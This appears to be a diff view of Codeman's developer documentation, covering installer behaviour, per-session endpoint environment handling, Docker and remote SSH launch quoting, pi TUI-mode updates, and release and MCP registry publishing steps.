⚠️ `no_admin_blocker` runs before the first download and stops for what this route cannot supply: a C/C++ toolchain on Linux (node-pty 1.1.0 compiles there; a node-pty with Linux prebuilds is what would lift this, and it is a dependency decision, not an installer one), musl, a platform nodejs.org or tmux-builds has no build for, and macOS below 15 (the tmux build's deployment target). ⚠️ Nothing between the "No-admin route" header and "End of the no-admin route" may run `sudo`, `ensure_sudo`, `run_as_root`, Homebrew or `xcode-select --install`; `run_as_root` itself refuses while `NO_ADMIN=1`, so a missed call site fails instead of prompting.
**Driving the installer from a program** (`--ai-cli`, `--progress`, `install.sh preflight`, 2026-11-06). Codeman Desktop installs with no terminal: it runs `install.sh --no-admin --service --progress --ai-cli <id>|none` with `CODEMAN_NONINTERACTIVE=1` and its stdin closed, and asks the two questions in its own window (`packages/desktop/src/gui_install.rs`). `--ai-cli` answers the agent menu, so the one thing `CODEMAN_NONINTERACTIVE` used to decide by itself (the first entry of the catalogue) is the user's. ⚠️ `cli_offerable` is the ONE rule for what can be installed here: the menu, `--ai-cli` and `preflight`'s `installable` all read it, so the app's list and the menu cannot disagree. A name that is not offerable here warns and carries on, and never falls back to another CLI; a typo dies in `parse_flags` before anything runs. `install.sh agent <id>` installs one CLI and nothing else, for Codeman Desktop's *Add a coding agent*: no service, no source, no build, so it may run next to a live server, and an agent already there is a success that runs nothing. ⚠️ It calls `run_offered_cli`, checks `CLI_FOUND_PATH` of that one entry itself and only then prints `done`: `install_offered_cli`'s gate is fatal only when NO CLI is left, which is right for a first install and would report success here, where another CLI is usually present. ⚠️ The app passes `--no-admin` to both `preflight` and `agent`, because that flag decides what `cli_offerable` allows; pinned in `gui_install.rs`. ⚠️ The app runs it from a folder of its own (`Run::Agent`), so `ps` never reads an agent run as "Codeman is being installed". A running server remembers a missing CLI for up to 5 minutes (`cliResolveRetryDelayMs`), and only the CLI management routes clear that, so the app says so on its last screen and never restarts the service for it. ⚠️ `preflight` prints only JSON on stdout and changes nothing; `schema` moves only when a field changes meaning, because the app ships on its own and refuses a number it does not know. Fields may be added freely. ⚠️ `progress_phase` writes to stderr, not stdout, because a function can run inside a `$( )` that captures stdout. The phases must stay in the order of `PHASES` in `connect.html` (pinned by test), `done` must stay the last thing `main()` reports, since a run that ends without it failed, and an unknown phase is ignored by the app, so a new phase needs no new app. ⚠️ `error()` carries the text as `@@codeman error`, and the app shows the FIRST one: the ones after it are consequences (`Installation failed. Partial...`).
⚠️ **git is judged by whether it works, never by `command -v`.** On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that opens Apple's install dialog, so `check_git` judges that path by `xcode-select -p` and never executes it; any other git is asked for `--version`. `scripts/git-hooks.mjs` has the matching guard (no `.git`, no `git` call), because postinstall runs it on every `npm install`. Without a working git the source is an archive (`fetch_source_archive`, GitHub's `archive/<ref>.tar.gz` or `CODEMAN_TARBALL_URL`) and the install directory carries the marker `.install-source`, which `detectInstallKind` reads as `archive` (the name is pinned across both files by `test/install-sh-invariants.test.ts`). ⚠️ An archive install is replaced as a WHOLE, never patched in place: nothing says which files a newer version dropped, and a stale `src/*.ts` would be compiled. The new tree is fetched and built in `<install dir>.new` and `finish_source_swap` moves it into place only after `npm run build` succeeded, so a failed update leaves the running install untouched; a re-run on a machine that has gained a working git stages a clone instead, which turns the install back into a git one. ⚠️ `download`/`download_to_stdout` resolve `DOWNLOADER` themselves (`require_downloader`): only `main()` used to set it, so a subcommand that downloads died on `set -u` with the message swallowed by the step log.
## Agent inspection and guarded submission
These three operations are experimental across both CLI and HTTP, including the
+5 -1
View File
@@ -57,7 +57,11 @@ interface CliEntry {
// (where this CLI's own chrome names the model it runs: SessionState.displayModel)
// .launchDefaults?: { [launchParam]: settingsKey }
// (synced App Settings that seed a LOCAL launch's params the caller left unset;
// codex's model and reasoning effort, via src/web/launch-defaults.ts)
// codex's model, reasoning effort and network access, via src/web/launch-defaults.ts)
// .gates: { [name]: { minVersion, failClosed } }
// (version gates a `capabilityGate` launch condition names: claude's `--name`,
// codex's `--no-daemon`. Measured against THAT CLI's own version, never claude's:
// resolveSessionCliVersion, so an unknown version passes no fail-closed gate)
overlays: CliOverlays; // remote-SSH / Docker pane commands, credential store
}
```
+29 -8
View File
@@ -384,7 +384,10 @@ size`. Neither a `modelContextLengths` entry nor a `defaultContextLength`
included), user-level agents and commands, and the MCP servers configured
in `~/.claude.json` — none of those are symlinked back, only `projects` is.
A fine trade for "point this session at my local llama.cpp," but worth
knowing before it surprises you mid-session.
knowing before it surprises you mid-session. A session on its own
`CLAUDE_CONFIG_DIR` links `projects` from that directory instead, so its
conversation, and what the endpoint run adds to it, stay on its own account
across an apply and a clear.
**That isolated directory needed one more fix to actually be usable
non-interactively.** An otherwise-empty `CLAUDE_CONFIG_DIR` has none of a
@@ -535,13 +538,31 @@ id, model and injected key NAMES are persisted, the values are re-derived
from the endpoint store on recovery, and the pane keeps running against the
endpoint in between because tmux retains its environment.
⚠️ Clearing removes injected keys **by name**, and `CLAUDE_CONFIG_DIR` is one
of the names claude's selection injects — so a session that ALSO had
`CLAUDE_CONFIG_DIR` set through the generic `envOverrides` field (the
per-client-account case) loses that override on clear too, and silently
falls back to the server's default Claude account. If you route a session
to a specific account this way, re-apply the override after clearing a
custom-model selection from it.
A value the session set itself under an injected key comes back when the
selection goes, on a clear or a switch to another endpoint. That is what
keeps a session on its own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME`, and on
its own account through `CLAUDE_CONFIG_DIR` (the per-client-account case).
The launch model goes the same way: a clear relaunches on the model the session
was created with, or with none if it was created without one. A session an
older build launched straight onto an endpoint saved that endpoint's model in
its config, so its clear still relaunches on that id.
⚠️ Across a Codeman restart only the home directory comes back, and only as
an absolute path. The selection overwrote the tmux `setenv` that held it, so
its record in `state.json` keeps that one path (`ownEnv`), and a non-granted
owner loses it at recovery like any other privileged override. Any other own
value can be a credential and stays in memory: a session that set its own
`GEMINI_API_KEY`, picked an endpoint and then outlived a restart falls back to
the server's key on clear. A selection saved by an older build has no such
record, so its first clear still falls back to the server's default.
⚠️ That record only exists when the selection was made before the restart. An
own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME` on a session with no selection is
not persisted at all (a session's overrides keep only `CLAUDE_CODE_*` and
`CLAUDE_CONFIG_DIR`), so a Codeman restart leaves nothing to record: an
endpoint picked after it, and cleared later, falls back to the server's
default. `CLAUDE_CONFIG_DIR` does not have this gap.
**New sessions always default back to the harness's native backend.** A
custom-endpoint selection is a per-session choice, never a sticky global
+8 -1
View File
@@ -121,6 +121,13 @@ curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"cl
## Attach to a container you already run
⚠️ Two different things are called "adopted". This section is about a CONTAINER
(`DockerCase.owned === false`). A tmux SESSION a human started inside a container is
listed by `GET /api/mux/foreign?docker=1` and wrapped by `POST /api/sessions/adopt`, for
which the container needs a Docker case but no adoption of its own. That one is
`Session.isAdopted`, with the connection on `Session.adopt.docker` and `session.docker`
undefined. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
The tab's **Attach to an existing container** toggle points a case at a container **you**
built and run. Codeman only ever `docker exec`s into it: it never creates, starts, stops,
restarts or removes it, and it seeds no credentials into it, so the CLIs inside must already
@@ -202,7 +209,7 @@ The host-gateway mapping, `CODEMAN_API_URL` derivation, host-guard allowlist, an
## Notes & limits
- Requires Docker (or Podman) with a reachable daemon; tmux must be present in the base image (a hard prerequisite, probed at link time).
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead.
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead. A `$` in that override expands inside the container, never on this host, and a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches `docker` as those literal characters, so write the value out.
- macOS Docker Desktop takes a dedicated uid path (the baked image uid; memory caps are subject to the VM ceiling).
Design + rationale: [`docker-cases-plan.md`](./docker-cases-plan.md).
+15 -10
View File
@@ -12,14 +12,25 @@ It can also include the GitHub CLI (`gh`) and the Azure CLI (`az`) with the `azu
## Prerequisites
- Docker Engine or Docker Desktop with Docker Compose v2
- A reachable Docker daemon
- Docker Engine or Docker Desktop with the Docker Compose v2 plugin, version 2.27.2 or newer
- A reachable Docker daemon, usable by your account without sudo (on Linux, membership of the `docker` group)
The application container mounts the Docker daemon socket so Codeman can create and manage its isolated Docker cases. Treat anyone who can administer this Compose project as having Docker-host-equivalent access.
## Start
Copy the environment template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example maps `/mnt/user/appdata/codeman` on the host to `/home/${CODEMAN_RUNTIME_USER}` in the container, preserving Codeman state and CLI credentials outside Docker-managed volumes.
On Linux, clone the repository and run the start script:
```sh
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run checks Docker, Compose and the daemon, then asks for a data folder (default `~/codeman-docker`), a port (default 3000, or the next free one) and a password (Enter generates one, shows it on your terminal and keeps it in `docker/.env`). It writes `docker/.env` from `docker/.env.example`, builds the image, starts the container and waits until Codeman answers, then prints the URL and how to sign in. `--yes` takes every default without asking, and `--setup-only` writes `docker/.env` and stops so it can be reviewed first. The full description, including the options, is the Start section of the [Docker deployment guide](../docker/README.md#start).
The data folder is mounted at `/home/${CODEMAN_RUNTIME_USER}` in the container, so Codeman state and CLI credentials stay on the host outside Docker-managed volumes. On every start the script determines `PUID` and `PGID` from the owner of that folder, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned data folder is rejected so the runtime account cannot become UID 0.
To write `docker/.env` by hand instead (Unraid and other root-only hosts, or Compose without the script), copy the template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example value `/mnt/user/appdata/codeman` is an Unraid layout.
```sh
cp docker/.env.example docker/.env
@@ -31,12 +42,6 @@ On PowerShell, use the following command instead.
Copy-Item docker/.env.example docker/.env
```
On Linux, run the stack with the start script. It determines `PUID` and `PGID` from the owner of `CODEMAN_APPDATA_PATH`, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned application-data directory is rejected so the runtime account cannot become UID 0.
```sh
bash docker/Start-Codeman.sh
```
On other platforms, run Compose directly. `PUID` and `PGID` default to `1000:1000`; set them in `docker/.env` when the application-data directory has a different owner. Naming the file with `-f` disables Compose's own discovery of `docker/docker-compose.override.yml`, so add a second `-f` for it when you keep one (see `docker/README.md`, Local customisation).
```sh
@@ -45,7 +50,7 @@ docker compose --env-file docker/.env -f docker/docker-compose.yaml up --build -
The container starts as root, corrects the ownership of a bind source the daemon had to create, and drops to `PUID:PGID` with `setpriv` before Codeman starts; the capabilities that needs are declared in `docker/docker-compose.yaml` and named by the entrypoint when a compose file written elsewhere lacks them.
Open `http://localhost:3000` and sign in with the username and password from `docker/.env`.
Open the URL the script printed (`http://localhost:3000` by default) and sign in with the username and password from `docker/.env`.
## Operations
+1 -1
View File
@@ -114,7 +114,7 @@ history.
## Remote SSH cases
`grok` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'grok'`), because sshd's remote-command PATH does not include
(`remoteLoginShellCommand('grok')`), because sshd's remote-command PATH does not include
`~/.grok/bin`. Per-session config and `envOverrides` do not cross ssh and are rejected
rather than silently ignored; use the per-host command override instead. For auth on
the remote host, `grok login --device-auth` exists for exactly this.
+1 -1
View File
@@ -149,7 +149,7 @@ shared nor seeded.
## Remote SSH cases
`omp` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'omp'`), because sshd's remote-command PATH does not
(`remoteLoginShellCommand('omp')`), because sshd's remote-command PATH does not
include `~/.local/bin`. Per-session config and `envOverrides` do not cross ssh and are
rejected rather than silently ignored; use the per-host command override instead.
+15 -2
View File
@@ -2,6 +2,12 @@
Tracking issue: [#206 "Plans to support pi.dev?"](https://github.com/Ark0N/Codeman/issues/206)
**SUPERSEDED in part (PR #771, 2026-11):** what this record says about pi's default screen and
the strips no longer holds. Fullscreen became pi's default in 1.0.0, and pi now takes the mouse
strip (`altScreen: 'strip-mux-and-mouse'`). Each affected passage carries a SUPERSEDED note;
current behaviour is in `docs/pi-integration.md` and the "Pi is the same shape" paragraph of
`docs/architecture-invariants.md`.
Status: **IMPLEMENTED 2026-08-13** (see `docs/pi-integration.md` for the user-facing
guide). Everything below is the design record; the open questions were resolved
empirically against pi 0.84.1 and the answers are recorded inline as **RESULT**
@@ -29,7 +35,7 @@ against the upstream docs in `packages/coding-agent/docs/`.
| Config dir | `~/.pi/agent` (override: `PI_CODING_AGENT_DIR`). Holds `auth.json`, `trust.json`, `settings.json`, `models.json` (user-defined providers), `models-store.json` (cached catalogs), `keybindings.json`, `extensions/`, `skills/`, `prompts/`, `themes/`, `AGENTS.md`, `SYSTEM.md`, and the package trees `npm/` + `git/` |
| Sessions | `~/.pi/agent/sessions/--<cwd with / replaced by ->--/<timestamp>_<uuid>.jsonl`, tree-structured (`id`/`parentId`), format v3. Overrides: `PI_CODING_AGENT_SESSION_DIR`, `--session-dir` |
| Credentials | `~/.pi/agent/auth.json` (OAuth subscriptions + API keys, auto-refresh), plus ~34 provider env vars with **no common prefix**. 0.84.1 adds `pi auth check` (auth preflight with optional credential output) |
| TUI | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode |
| TUI | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0, and `tuiMode: regular` keeps the main screen |
| Providers | 15+ (Anthropic, OpenAI, Google, Azure, Bedrock, Mistral, Groq, xAI, OpenRouter, Copilot, Baseten since 0.84.0, ...). OAuth subscription login via `/login` for six: ChatGPT Plus/Pro, Claude Pro/Max, GitHub Copilot, xAI, OpenRouter, Radius |
| Permission model | **No permission prompts at all.** No built-in sandbox, no MCP (none planned), no sub-agents, no plan mode, no to-dos, no background bash. Tools run with the user's own permissions |
| Trust model | "Project trust" gates **loading** of project-local `.pi/` config/extensions/skills and **installing missing project packages**, not tool execution. Triggered only when the cwd (or an ancestor) contains `.pi/settings.json`, `.pi/extensions\|skills\|prompts\|themes`, `.pi/SYSTEM.md`/`.pi/APPEND_SYSTEM.md`, or `.agents/skills`; a bare `.pi/` directory does NOT prompt. Global `defaultProjectTrust`: `ask` (default) / `always` / `never` |
@@ -88,6 +94,12 @@ for pi, i.e. pi appears in none of them): the replay-side strip in `session-rout
live-stream twin in `session.ts`, and the frontend `_sessionUsesServerMouseStrip()` in
`terminal-ui.js` (usages `:3432`, `:3697`).
**SUPERSEDED (PR #771, 2026-11):** pi still stays out of `isAltScreenStripMode()`, but it is no
longer outside every strip: it takes the mouse strip (`isMuxMouseStripMode()`), which removes the
alt-screen toggles and the mouse enables and keeps `3J`. Fullscreen is its default since 1.0.0, the
enables are recorded as `cliMouseTracking`, and the wheel is forwarded from that flag, so it survives
a tab switch or reload. A `/settings` flip of `tuiMode` is followed in both directions.
### 2.3 tmux required, no direct-PTY fallback, no per-mode configurator
Same rule as the other external CLIs: `pi` mode throws if tmux is unavailable. Add a fourth block to
@@ -340,6 +352,7 @@ because the result lands in a `bash -c "..."` string):
- `--tui-mode` (released in 0.84.0): never passed by Codeman. The main-screen default is the
friendly case for the browser terminal, and fullscreen remains the user's own runtime choice via
`/settings` (§2.2 is designed for that). `--use-theme` (still unreleased) likewise.
**SUPERSEDED (PR #771, 2026-11):** still never passed, but fullscreen is the default since pi 1.0.0.
- `--name <name>` (`-n`): nice for `/resume` readability, but names contain spaces and would be the
first user-controlled value needing real shell quoting in `buildSpawnCommand`. Defer.
- `--no-session`: ephemeral mode fights respawn/resume. Defer.
@@ -671,7 +684,7 @@ follow-up surfaces in from the start (login-shell routing in Phase 1, availabili
| ------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| `pi` resolves to an unrelated binary | `pi --version` + semver-shape check in the resolver (§2.6); path and version shown in `/api/pi/status` |
| Pi's TUI repaints in a way the browser terminal handles badly | Test scrollback and repaint early (step 3 of §7); pi's default is main-screen with terminal-owned scrollback, which is the friendly case |
| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable) | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly |
| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable) | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0 and pi now takes the mouse strip, see §2.2 |
| The buffer local-echo overlay fights pi's live composer | §2.10: explicit E2E gate (§7 step 4) with the one-line `'off'` fallback; predictive echo for pi is a tracked follow-up, not a v1 blocker |
| Pi moves fast (pre-1.0; 9 releases in the 7 weeks before 0.84.1) | Keep the flag surface small; every flag validated and droppable; nothing pinned in the Dockerfile beyond the `--no-cache` rebuild cadence. Live example of the hazard: `--tui-mode` went from main-only docs to released between the two drafts of this plan |
| Docker image grows | Pi is an npm package; the layer is modest next to the ~190MB `agy` binary |
+10 -4
View File
@@ -88,9 +88,15 @@ bypass, and project trust is a decision the person at the terminal makes.
- **`--api-key`.** Never. It would put a provider secret on the spawn command
line, visible in `ps`, tmux server state and logs. `PI_*` overrides go through
socket-scoped `tmux setenv` for exactly this reason.
- **`--tui-mode`.** Pi's default main-screen TUI is the friendly case for a
browser terminal. The fullscreen mode (0.84.0) stays your own runtime choice via
`/settings`.
- **`--tui-mode`.** Which TUI you get stays your choice, in pi's `tuiMode` setting.
Fullscreen is the default since pi 1.0.0: the wheel and clicks reach pi, and because
Codeman strips pi's mouse enables, a drag selects text in the browser rather than
using pi's own selection or scrollbar drag. With **Wheel Scrolls Local History** on,
the wheel does nothing in fullscreen pi: the setting pins it to a local buffer pi
leaves empty, and pi has no paging fallback. `tuiMode: regular`, the default below
1.0.0, is inline with terminal-owned scrollback and emits no mouse enables at all. A
pi from 0.84.0 set to fullscreen enables mouse tracking the same way the 1.0.0
default does, and Codeman treats it the same.
- **`--name`, `--no-session`, `-p`/`--print`, `--mode json`, `--mode rpc`,
`--tools`/`--exclude-tools`, `-e`/`--extension`, `--skill`,
`--system-prompt`.** Tracked as follow-ups in the plan doc.
@@ -215,7 +221,7 @@ a Docker case only sees that container's own history.
## Remote SSH cases
`pi` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'pi'`), because sshd's remote-command PATH does not
(`remoteLoginShellCommand('pi')`), because sshd's remote-command PATH does not
include npm's global bin on most hosts. Per-session config and `envOverrides` do
not cross ssh and are rejected rather than silently ignored; use the per-host
command override instead.
+20 -2
View File
@@ -19,14 +19,32 @@ When user says "COM":
Replace `patch` with `minor` or `major` as needed. Include `"xterm-zerolag-input": patch` on a separate line if that package changed too.
**Write it in the shape the release page is built from.** `CHANGELOG.md` keeps changesets' format, and the `Release` workflow rebuilds the GitHub release from that section (`scripts/generate-release-notes.mjs`, which also titles it `Codeman <x.y.z>`). The in-app update toast reads the same bold lead-ins:
```markdown
### Thanks
- @someone for what they did (#123).
**What the change does for the user (#123).** Two or three plain sentences.
**Fixes.**
- **What works now (#124).** What was wrong. Behaviour change: what a user has to do differently.
**Fixes applied while landing.** One sentence each.
**Docs and tests.** One sentence.
```
`### Thanks` stays first and opens the page. A bold lead-in that ends in punctuation becomes a heading under What's new, so make it a short headline. `**Fixes.**` and its list become a Fixes section, and the last two labels share an Also in this release section (the labels are `SECTION_LABELS` in `scripts/lib/whats-new.mjs`). `Behaviour change:` and `Breaking:` are put in bold wherever they appear, so use those words for anything a user has to act on. Keep each change short: how it works belongs in the docs, and a long paragraph is a wall of text even under a heading. Text the script does not recognise stays on the page as plain paragraphs. After step 3, `node scripts/generate-release-notes.mjs` prints the page. If the workflow warns that it kept the changesets notes, fix the changelog and run `gh release edit codeman@<x.y.z> --notes-file <file>`.
3. **Consume the changeset**: `npm run version-packages` (auto-bumps `package.json` files, updates `CHANGELOG.md`, runs `npm install --package-lock-only`, and verifies lockfile sync via `scripts/check-lockfile-sync.mjs` — all in one command; never hand-edit `CHANGELOG.md` or `package-lock.json` versions. It also writes `src/web/public/whats-new.json` (`scripts/generate-whats-new.mjs`): the bold lead-in of each change in the new `CHANGELOG.md` section, which the browser announces once per version in a toast. Commit it with the release; `test/whats-new.test.ts` fails when its version differs from `package.json`, so a hand bump needs `node scripts/generate-whats-new.mjs && npx prettier --write src/web/public/whats-new.json` too. A release whose notes have no bold lead-ins ships an empty list and shows no toast)
4. **Sync CLAUDE.md version**: Update the `**Version**` line in the root `CLAUDE.md` (under COM Shorthand) to match the new version from `package.json`
5. **Commit and deploy**: verify the branch first (`git branch --show-current`), then stage EXPLICIT paths — never `git add -A`, which has swept another session's WIP into a release. `git status --short` and account for every line before committing:
`git add <paths> && git commit -m "chore: version packages" && git push && npm run build && systemctl --user restart codeman-web`
6. **Refresh the getcodeman.com version badge**: the landing page's status bar carries the release version (`v<x.y.z> · getcodeman.com · MIT`), so it goes stale on every release if nobody bumps it. The site source and its deploy script are maintained outside this repository, on the maintainer's machine only; follow the local site handbook there, which also covers the numbers strip and `sitemap.xml` refresh that belong in the same pass. Poll production (`curl -s https://getcodeman.com/ | grep v<x.y.z>`) before calling it done, since the edge lags a deploy by up to a minute. Not applicable to contributor clones — skip it and say so.
7. **Wait for CI**: after `git push`, TWO workflows fire per master push — `CI` and `Release` (the npm publish + GitHub release). List both runs for the pushed commit with `gh run list --commit $(git rev-parse HEAD) --json databaseId,workflowName` and watch EACH with `gh run watch <id> --exit-status`. Confirm both pass before considering the release done (`gh run list -L 1` returns only one of the two).
7. **Wait for CI**: after `git push`, TWO workflows fire per master push: `CI` and `Release` (the npm publish, the GitHub release and the MCP registry publish). List both runs for the pushed commit with `gh run list --commit $(git rev-parse HEAD) --json databaseId,workflowName` and watch EACH with `gh run watch <id> --exit-status`. Confirm both pass before considering the release done (`gh run list -L 1` returns only one of the two).
8. **Publish the new version to the MCP registry**: `codeman mcp` is listed in the official MCP registry as `io.github.Ark0N/codeman`, and the registry does not follow npm, so every release is published there by hand or the listing stays on the old version. `npm run version-packages` has already written the new version into `config/mcp-registry/server.json` (`scripts/sync-plugin.mjs`). Wait until npm serves it (`npm view aicodeman version`; it can lag the green `Release` run by several minutes), because the registry checks that the npm package exists and carries `mcpName: io.github.Ark0N/codeman`. Then run `cd config/mcp-registry && mcp-publisher publish`, preceded by `mcp-publisher login github` when the saved login has expired, signed in as the account that owns the `io.github.Ark0N/` namespace. Use mcp-publisher 1.8.1 or newer (`mcp-publisher --version`), the release binary from https://github.com/modelcontextprotocol/registry/releases: the Snap Store package is stuck at 1.1.0 and rejects the current `$schema` with a false "deprecated schema detected", so never edit `server.json` for that error. Older publishers also save their login as `.mcpregistry_github_token` and `.mcpregistry_registry_token` (live tokens) in the current directory; move those out of the repo, never commit them. Confirm with `curl -s 'https://registry.modelcontextprotocol.io/v0/servers?search=io.github.Ark0N/codeman' | jq -r '.servers[] | "\(.server.version) latest=\(._meta["io.modelcontextprotocol.registry/official"].isLatest)"'`: the new version must be the one with `latest=true`. Maintainer only (it needs that GitHub account); contributor clones skip it and say so.
8. **Check the MCP registry**: `codeman mcp` is listed in the official MCP registry as `io.github.Ark0N/codeman`, and the registry does not follow npm, so every release is published there. The `Release` workflow does this itself in its `MCP registry` job (`.github/workflows/publish-mcp.yml`): it waits until npm serves the version, because the registry checks that the npm package exists and carries `mcpName: io.github.Ark0N/codeman`, signs in with the workflow's GitHub OIDC token (no secret, no browser) and publishes the `config/mcp-registry/server.json` that `npm run version-packages` wrote (`scripts/sync-plugin.mjs`). A version the registry already has is skipped. Confirm with `curl -s 'https://registry.modelcontextprotocol.io/v0/servers?search=io.github.Ark0N/codeman' | jq -r '.servers[] | "\(.server.version) latest=\(._meta["io.modelcontextprotocol.registry/official"].isLatest)"'`: the new version must be the one with `latest=true`. If the job failed, `gh workflow run publish-mcp.yml` publishes the version on master again. Its publisher is pinned: bump `MCP_PUBLISHER_VERSION` and `MCP_PUBLISHER_SHA256` together, the digest from the release's asset. The local fallback is `cd config/mcp-registry && ~/.local/bin/mcp-publisher login github && ~/.local/bin/mcp-publisher publish`, signed in as the account that owns the `io.github.Ark0N/` namespace, with mcp-publisher 1.8.1 or newer, the release binary from https://github.com/modelcontextprotocol/registry/releases: the Snap Store package is stuck at 1.1.0 and rejects the current `$schema` with a false "deprecated schema detected", so never edit `server.json` for that error. Older publishers also save their login as `.mcpregistry_github_token` and `.mcpregistry_registry_token` (live tokens) in the current directory; move those out of the repo, never commit them.
9. **Announce it in Discussions**: every release gets a post in the [Announcements](https://github.com/Ark0N/Codeman/discussions/categories/announcements) category, shaped like #418 and #302: the short version first (one bold lead-in per theme, features before fixes, what it does for the user rather than how it works), contributor @-mentions inline where their work is described (a mention notifies them, and a contributor reposting is the cheapest reach this project has), a link to the release, and the Thanks names at the end. Casual first-person voice, no em-dashes, humanizer pass when the skill is available. A same-day follow-on patch (1.28.1 after 1.28.0) is folded into the previous post as an edit, never a second thread. Post it with `gh api graphql -F body=@<file> -f title='Codeman <x.y.z>: <hook>' -f repo=R_kgDOQ-SMDg -f cat=DIC_kwDOQ-SMDs4DCHZE -f query='mutation($repo:ID!,$cat:ID!,$title:String!,$body:String!){createDiscussion(input:{repositoryId:$repo,categoryId:$cat,title:$title,body:$body}){discussion{number url}}}'` (the repo's node id and its Announcements category id; `pinDiscussion` does not exist in the API, so pinning stays a click in the UI). This step exists because announcements stopped at 1.18 (#302) while ten releases shipped with nobody notified; #418 is the backfill covering 1.19.0 to 1.28.1, and release notes only count as content once they reach a surface people are subscribed to.
+52 -3
View File
@@ -91,7 +91,7 @@ builds the command that launches (or **reattaches** to) the remote session:
```
ssh -o BatchMode=yes -t <connection-args> user@host \
'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> "cd <remotePath> && exec <cli>" \; \
'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> /bin/sh -c <pane-command> \; \
set -t codeman-ssh-<id8> status off \; set -t codeman-ssh-<id8> mouse off \; \
set -t codeman-ssh-<id8> prefix C-q \; set -s escape-time 0 \; \
set -t codeman-ssh-<id8> window-size latest \; \
@@ -100,6 +100,9 @@ ssh -o BatchMode=yes -t <connection-args> user@host \
set -t codeman-ssh-<id8> remain-on-exit failed'
```
`<pane-command>` is `cd <remotePath> && exec <cli>`, shell-quoted as one token. With a
`commands.*` override that token stands alone, with no `/bin/sh -c` in front of it.
Key points:
- **`new-session -A -s codeman-ssh-<id8>`** = attach-if-exists-else-create, so a
@@ -133,6 +136,45 @@ Key points:
**login shell**, not the agent.
- The **whole tmux invocation is a single shell-quoted ssh argument**, and the
pane command is independently quoted, so a `remotePath` with spaces is safe.
- **That argument reaches the far end verbatim** (#760): the launch, an adopted
session's ssh attach included, goes to the local `bash -c` in single quotes, so
`$HOME`, `$PATH` and `$SHELL` are the remote user's. In double quotes the local `sh` expanded them first, which sent
this host's home and PATH to the remote. ⚠️ Every `$` in a `commands.*` override
now expands on the far end too, and a bare `$VAR` in an `extraSshOptions` value
reaches `ssh` as those literal characters at launch, as it always did in the link
and quick-start tmux probes. A Docker launch is verbatim as well, so a bare `$VAR`
in `extraCreateArgs`/`extraExecArgs` reaches `docker` the same way. Write those
values out.
- **tmux picks the shell by argument count** (measured on 3.4): one argument runs
through the remote `default-shell`, two or more are exec'd directly. Codeman's own
pane command is POSIX, so it goes to `/bin/sh -c` as separate arguments, and a fish
login shell (or a `default-shell` set in the remote `~/.tmux.conf`) never parses it:
fish refuses `${SHELL:-/bin/sh}` with status 127, which is a dead pane. A `commands.*`
override stays one argument on purpose, since it is written for the user's own shell
(`source` and `[[` work in bash and zsh and die under a dash `/bin/sh`).
- **Login shells**: POSIX shells and fish work, and csh and tcsh do within the limits
below. nushell and elvish cannot run the PATH bootstrap at all, so no override
helps. A `remotePath` holding an apostrophe does not start under fish.
- **The login flags are picked on the far end**, the only place the shell is known:
the pane command passes `-i -l` unless `${SHELL##*/}` is `csh` or `tcsh`, which get
neither. tcsh honors `-l` only as its one flag and exits on `-i -l -c`, `-l -c` and
`-i -l` (measured on 6.24), so a tcsh session reads `.tcshrc` and not `.login`. The
text is one brace group, so `cd <path> && { …; }` starts nothing when the `cd` fails.
- **The login shell still parses the ssh line itself**, as it did in 1.48.0, so tcsh
has two more limits. It has no `export`, so the PATH bootstrap only prints an error
there, and `tmux` and the CLI have to be on a PATH that `.tcshrc` sets. And the tmux
prerequisite probe's `command -v tmux` needs a `command` executable: macOS and the
BSDs ship one, Debian and Ubuntu do not, so linking a tcsh host there is refused
with `could not verify tmux`.
- **File reads never leave a quote for the login shell** (`remoteLoginShellLine()` in
`remote-files.ts`). Previews, downloads, folder grids and Edit history are multi-line
POSIX scripts holding a path someone else may have named. fish reads `\'` inside
single quotes as a quote, so the shell-quoted text flips in and out of quotes, and
csh and tcsh end a command at a newline even inside quotes, so both ran part of a path
as a command (measured). The script therefore crosses the login shell as one word of
`printf` text with those bytes in octal, and only `sh` ever reads it. Plain csh caps
a word at about 8 KB and answers `Word too long` for a larger read; tcsh has no such
cap.
- Connection options come from the **same `buildSshConnectionArgs(remote)`** as
the prereq probe; `-t` is inserted right after `ssh -o BatchMode=yes`,
preserving historical token order.
@@ -176,6 +218,12 @@ when the tab closes.
session. `remoteSessionName` holds its existing tmux name. Closing the tab
**detaches**, never kills.
